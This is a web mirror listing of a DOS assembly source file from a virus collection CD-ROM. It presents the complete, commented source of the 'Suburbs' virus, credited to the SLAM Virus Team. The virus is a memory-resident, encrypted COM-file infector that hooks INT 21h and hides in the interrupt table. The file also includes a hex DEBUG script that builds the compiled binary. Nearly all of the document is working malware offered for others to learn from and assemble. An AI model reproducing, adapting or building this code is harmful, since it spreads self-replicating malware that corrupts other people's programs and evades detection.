home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / VIRDCOLL.ZIP / SUBURBS.ZIP / SUBURBS.ASM next >
Assembly Source File  |  1997-07-26  |  10KB  |  296 lines

  1. ;                        Virtual Daemon of SLAM presents...
  2. ;
  3. ;   Here's the source for the Suburbs virus. I made him a couple of time ago,
  4. ;when I didn't know how to do a REAL virus... ;-)
  5. ;   The source is commented enough to understand it (I think), so you shouldn't 
  6. ;have any difficulties...
  7. ;   The virus is kind of lame, but it use a good method for going resident, so
  8. ;if you don't know it already, here's the chance for you to learn it!
  9. ;   Ok. Here's some info about it...
  10. ;
  11. ; Virus Name: Suburbs (level 16 of DOOM ][)
  12. ; Virus Author: Virtual Daemon
  13. ; Virus Group: SLAM Virus Team
  14. ; Virus Size: 400 bytes
  15. ;
  16. ; Features: - resident encrypted COM infector with INT21h handler
  17. ;           - infect on 4bh (execute)
  18. ;           - use 80286 instructions (8086 are dead! :)
  19. ;           - use the free space at the end of the interrupt table at 0:0200h
  20. ;             => can't be seen with programs like MEM or TSRLIST and it
  21. ;                doesn't take 1K from 640! :)
  22. ;           - use INT24 handler (doesn't display errors)
  23. ;           - save/restore file time/date/attributes
  24. ;           - very simple encryption of the 3 bytes from JMP
  25. ;           - no payload... sorry! :-(
  26. ;
  27. ;---------------------------------- cut here -----------------------------------
  28. .286    ;use 80286 instructions (can be modified easily to work with 8086)
  29. code segment byte
  30.    assume cs:code,ds:code
  31.    org 100h
  32. begin:
  33.    db 0e9h              ;jmp to virus_start
  34. len dw 8                ;offset begin+8 bytes - where to Jump
  35.  
  36.    db '$'
  37.    db '$'
  38.    db 5 dup(90h)        ;5 NOP's+RET=a simple program so the virus could work
  39.    ret
  40.  
  41. virus_start:
  42.    jmp install          ;install the virus in memory
  43.  
  44. new24handler equ $-virus_start
  45. int24handler:
  46.    mov al,3             ;return to program indicating a failed DOS function
  47.    iret                 ;return from interrupt
  48. new21handler proc
  49.    cmp ah,4bh           ;4bh=execute a file
  50.    je infect_it         ;cool... a file was executed! let's infect it!
  51.    jmp restore_interrup
  52. infect_it: 
  53.    pusha                ;save registers: ax,bx,cx,dx,bp,si,di,ds,es
  54.    push ds
  55.    push es 
  56.  
  57.    mov ax,4300h         ;DOS function = get file attributes
  58.    int 21h
  59.    push cx              ;save file attribute
  60.    push ds              ;save the ASCIIZ adress of file
  61.    push dx
  62.    
  63.    mov ax,4301h         ;DOS function = set new file attributes
  64.    xor cx,cx            ;cx=0 => file attribute=normal file
  65.    int 21h
  66.    
  67.    mov ax,3d02h         ;DOS function = open file for read-write
  68.    int 21h
  69.    xchg bx,ax           ;save handle in bx
  70.    
  71.    mov ax,0020h
  72.    mov ds,ax            ;set DS to new adress
  73.      
  74.    mov word ptr ds:[buffer],bx    ;save file handle
  75.    
  76.    mov ax,3524h         ;DOS function = get interrupt vector (INT 24h)
  77.    int 21h
  78.    push es              ;save INT 24h segment
  79.    push bx              ;save INT 24h offset
  80.  
  81.    mov ax,2524h         ;DOS function = set interrupt vector (INT 24h)
  82.    mov dx,new24handler  ;make it point to our procedure
  83.    int 21h
  84. infectfile:
  85.    mov bx,word ptr ds:[buffer]    ;restore file handle
  86.    
  87.    mov ax,5700h         ;DOS function = get file time/date
  88.    int 21h
  89.    push dx              ;save date
  90.    push cx              ;save time
  91.    
  92.    mov ah,3fh           ;DOS function= read from file
  93.    mov dx,buffer        ;save into 'buffer'
  94.    mov cx,3             ;read 3 bytes
  95.    int 21h
  96.    jnc continue         ;if no error then continue
  97.    jmp close_file       ;else close the file and return to original program
  98. continue:
  99.    cmp word ptr ds:[buffer],'ZM'  ;check too see if file is EXE
  100.    je close_file                  ;is EXE? Then exit
  101.       
  102.    cmp word ptr ds:[buffer],'MZ'  ;check again for EXE (this time in ZM form)
  103.    je close_file                  ;is EXE? Then exit
  104.    
  105.    mov ax,4200h         ;DOS function = set file pointer
  106.    xor cx,cx
  107.    mov dx,word ptr ds:[buffer+1]  ;seek to beginning+0:[buffer+1]+3
  108.    add dx,3
  109.    int 21h
  110.      
  111.    mov ah,3fh           ;DOS function = read from file
  112.    mov dx,virus_end+2   ;from virus_end+2
  113.    mov cx,3             ;read 3 bytes
  114.    int 21h
  115.  
  116.    cmp byte ptr ds:[virus_end+2],0e9h  ;check if already infected
  117.    je close_file 
  118. encrypt:
  119.    xor byte ptr ds:[buffer],33         ;encrypt the 3 bytes from JMP
  120.    xor byte ptr ds:[buffer+1],133
  121.    xor byte ptr ds:[buffer+2],45
  122.  
  123.    mov ax,4202h         ;DOS function = set file pointer
  124.    xor cx,cx            ;seek to EOF
  125.    xor dx,dx
  126.    int 21h
  127.    mov bp,ax        ;bp=ax=filesize
  128.      
  129.    mov ah,40h           ;DOS function = write to file
  130.    xor dx,dx            ;current buffer
  131.    mov cx,virus_end     ;number of bytes=virus_end
  132.    int 21h
  133.    jc close_file        ;if error then close the file
  134.  
  135.    mov ax,4200h         ;DOS function = set file pointer
  136.    xor cx,cx            ;seek to beginning
  137.    xor dx,dx
  138.    int 21h
  139.  
  140.    mov si,virus_end+1
  141.    mov byte ptr ds:[virus_end+1],0e9h   ;put the JMP code (0e9h)
  142.    mov ax,bp            ;bp=filesize
  143.    sub ax,3             ;ax=filesize-3 (size of JMP code)
  144.                                      
  145.    mov word ptr ds:[virus_end+2],ax ;save the 2nd & 3rd bytes in JMP(location)
  146.  
  147.    mov dx,virus_end+1   ;write new JMP (3 bytes)
  148.    mov ah,40h           ;DOS function = write to file
  149.    mov cx,3
  150.    int 21h
  151. close_file:
  152.    mov ax,5701h         ;DOS function = set file date/time
  153.    pop cx               ;restore time
  154.    pop dx               ;restore date
  155.    int 21h
  156.    
  157.    mov ah,3eh           ;DOS function = close file
  158.    int 21h                   
  159.  
  160.    pop dx               ;restore INT 24h offset
  161.    pop ds               ;restore INT 24h segment
  162.    mov ax,2524h         ;DOS function = set interrupt vector (for INT 24h)
  163.    int 21h
  164.    
  165.    mov ax,4301h         ;DOS function = set file attributes
  166.    pop dx               ;restore the ASCIIZ adress of file
  167.    pop ds
  168.    pop cx               ;restore file attributes
  169.    int 21h
  170.    
  171.    pop es               ;restore saved registers
  172.    pop ds
  173.    popa
  174. restore_interrup:
  175.    db 0eah              ;jmp to old INT21h vector
  176.  
  177. add21 equ $-virus_start
  178. int21offset    dw 0     ;old INT21h offset
  179. int21segment   dw 0     ;old INT21h segment
  180. new21handler endp
  181.  
  182. install:
  183.    db 66h               ;for Sourcer :^)
  184.    pusha                ;save all registers
  185.    push ds
  186.    push es
  187.      
  188.    mov di,ds
  189.      
  190.    mov ax,20h
  191.    mov ds,ax
  192.    cmp word ptr ds:[0],0          ;check to see if already installed
  193.    jne quit
  194.      
  195.    mov ds,di
  196.      
  197.    xor ax,ax            ;save the old INT 21h interrupt vector using direct
  198.    mov es,ax            ;manipulation
  199.    mov di,21h*4
  200.    mov ax,es:[di]
  201.    mov bx,es:[di+2]
  202.      
  203.    mov si,[len]
  204.    add si,add21+103h
  205.    mov word ptr cs:[si],ax
  206.    mov word ptr cs:[si+2],bx 
  207.       
  208.    xor ax,ax
  209.    mov di,ax
  210.    mov si,[len]
  211.    add si,100h+3
  212.    push cs
  213.    pop ds
  214.    mov ax,0020h         ;copy virus to memory
  215.    mov es,ax
  216.    mov cx,virus_end
  217.    rep movsb
  218.      
  219.    xor ax,ax            ;set new INT 21h handler
  220.    mov es,ax
  221.    mov di,21h*4
  222.    mov word ptr es:[di],6 
  223.    mov ax,0020h
  224.    mov word ptr es:[di+2],ax
  225. quit:
  226.    mov ax,cs
  227.    mov ds,ax
  228.    mov es,ax
  229.      
  230.    mov si,[len]         ;get the 3 bytes from buffer in si register
  231.    add si,100h+buffer+3
  232. decrypt:
  233.    xor byte ptr ds:[si],33         ;decrypt the 3 bytes
  234.    xor byte ptr ds:[si+1],133
  235.    xor byte ptr ds:[si+2],45
  236.  
  237.    mov di,100h          ;copy the 3 bytes from JMP
  238.    mov cx,3
  239.    rep movsb
  240.  
  241.    pop es               ;restore saved registers
  242.    pop ds
  243.    popa
  244.  
  245.    push 100h            ;return to host
  246.    ret
  247.  
  248. buffer equ $-virus_start
  249. jmpbyte1 db 177         ;the JMP instruction encrypted with a simple XOR
  250. jmpbyte2 db 21
  251. jmpbyte3 db 189
  252. virus_author db '[VD/SLAM]',0
  253. virus_name   db 'Suburbs',0
  254. virus_end equ $-virus_start
  255.  
  256. code ends
  257. end begin
  258. ; --------------------------------- cut here ----------------------------------
  259. ;
  260. ;Here's a copy of Suburbs in debug script format for those who don't have
  261. ;Turbo Assember/Linker. Just enter DEBUG < script_name.
  262. ;
  263. ; --------------------------------- cut here ----------------------------------
  264. ;N SUBURBS.COM
  265. ;E 0100 E9 08 00 24 24 90 90 90 90 90 C3 E9 F3 00 B0 03
  266. ;E 0110 CF 80 FC 4B 74 03 E9 E3 00 60 1E 06 B8 00 43 CD
  267. ;E 0120 21 51 1E 52 B8 01 43 33 C9 CD 21 B8 02 3D CD 21
  268. ;E 0130 93 B8 20 00 8E D8 89 1E 7B 01 B8 24 35 CD 21 06
  269. ;E 0140 53 B8 24 25 BA 03 00 CD 21 8B 1E 7B 01 B8 00 57
  270. ;E 0150 CD 21 52 51 B4 3F BA 7B 01 90 B9 03 00 CD 21 73
  271. ;E 0160 03 EB 7C 90 81 3E 7B 01 4D 5A 74 73 81 3E 7B 01
  272. ;E 0170 5A 4D 74 6B B8 00 42 33 C9 8B 16 7C 01 83 C2 03
  273. ;E 0180 CD 21 B4 3F BA 92 01 90 B9 03 00 CD 21 80 3E 92
  274. ;E 0190 01 E9 74 4B 80 36 7B 01 21 80 36 7C 01 85 80 36
  275. ;E 01A0 7D 01 2D B8 02 42 33 C9 33 D2 CD 21 8B E8 B4 40
  276. ;E 01B0 33 D2 B9 90 01 90 CD 21 72 25 B8 00 42 33 C9 33 
  277. ;E 01C0 D2 CD 21 BE 91 01 90 C6 06 91 01 E9 8B C5 2D 03 
  278. ;E 01D0 00 A3 92 01 BA 91 01 90 B4 40 B9 03 00 CD 21 B8 
  279. ;E 01E0 01 57 59 5A CD 21 B4 3E CD 21 5A 1F B8 24 25 CD 
  280. ;E 01F0 21 B8 01 43 5A 1F 59 CD 21 07 1F 61 EA 00 00 00 
  281. ;E 0200 00 66 60 1E 06 8C DF B8 20 00 8E D8 83 3E 00 00 
  282. ;E 0210 00 75 4B 8E DF 33 C0 8E C0 BF 84 00 26 8B 05 26 
  283. ;E 0220 8B 5D 02 8B 36 01 01 81 C6 F5 01 2E 89 04 2E 89 
  284. ;E 0230 5C 02 33 C0 8B F8 8B 36 01 01 81 C6 03 01 0E 1F 
  285. ;E 0240 B8 20 00 8E C0 B9 90 01 90 F3 A4 33 C0 8E C0 BF 
  286. ;E 0250 84 00 26 C7 05 06 00 B8 20 00 26 89 45 02 8C C8 
  287. ;E 0260 8E D8 8E C0 8B 36 01 01 81 C6 7E 02 80 34 21 80 
  288. ;E 0270 74 01 85 80 74 02 2D BF 00 01 B9 03 00 F3 A4 07 
  289. ;E 0280 1F 61 68 00 01 C3 B1 15 BD 5B 56 44 2F 53 4C 41 
  290. ;E 0290 4D 5D 00 53 75 62 75 72 62 73 00 
  291. ;RCX
  292. ;019B
  293. ;W
  294. ;Q
  295. ; --------------------------------- cut here ----------------------------------
  296.